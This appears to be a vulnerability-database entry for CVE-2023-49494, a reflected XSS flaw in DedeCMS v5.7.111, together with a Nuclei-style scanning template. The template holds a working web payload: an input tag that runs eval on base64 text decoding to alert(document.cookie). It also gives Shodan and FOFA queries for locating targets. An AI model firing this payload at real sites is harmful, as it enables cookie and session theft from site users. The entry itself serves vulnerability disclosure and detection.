CVE-2023-49494: DedeCMS v5.7.111 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: DedeCMS v5.7.111 | POC: 已公开

漏洞描述

DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.

PoC代码[已公开]

id: CVE-2023-49494

info:
  name: DedeCMS v5.7.111 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    DedeCMS v5.7.111 was discovered to contain a reflective cross-site scripting (XSS) vulnerability via the component select_media_post_wangEditor.php.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
  reference:
    - https://github.com/Hebing123/cve/issues/3
    - https://nvd.nist.gov/vuln/detail/CVE-2023-49494
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-49494
    cwe-id: CWE-79
    epss-score: 0.0146
    epss-percentile: 0.80172
    cpe: cpe:2.3:a:dedecms:dedecms:5.7.111:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dedecms
    product: dedecms
    shodan-query: http.html:"DedeCms"
    fofa-query: app="DedeCMS"
  tags: cve,cve2023,dedecms,xss

http:
  - raw:
      - |
        GET /uploads/include/dialog/select_media_post_wangEditor.php?filename=1%3Cinput%20onfocus=eval(atob(this.id))%20id=YWxlcnQoZG9jdW1lbnQuY29va2llKTs=%20autofocus%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data":{"url":'
          - '<input onfocus=eval(atob(this.id)) id='
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c0fd4730db73e46d58f0344604c355d996a06d7a7ac57f35defbec6fd468f3ee022100a2f6faddfc3ad0df5d5012b1e1086ede20046bc4dec40cf426a853f27218042a:922c64590222798bb761d5b6d8e72950

相关漏洞推荐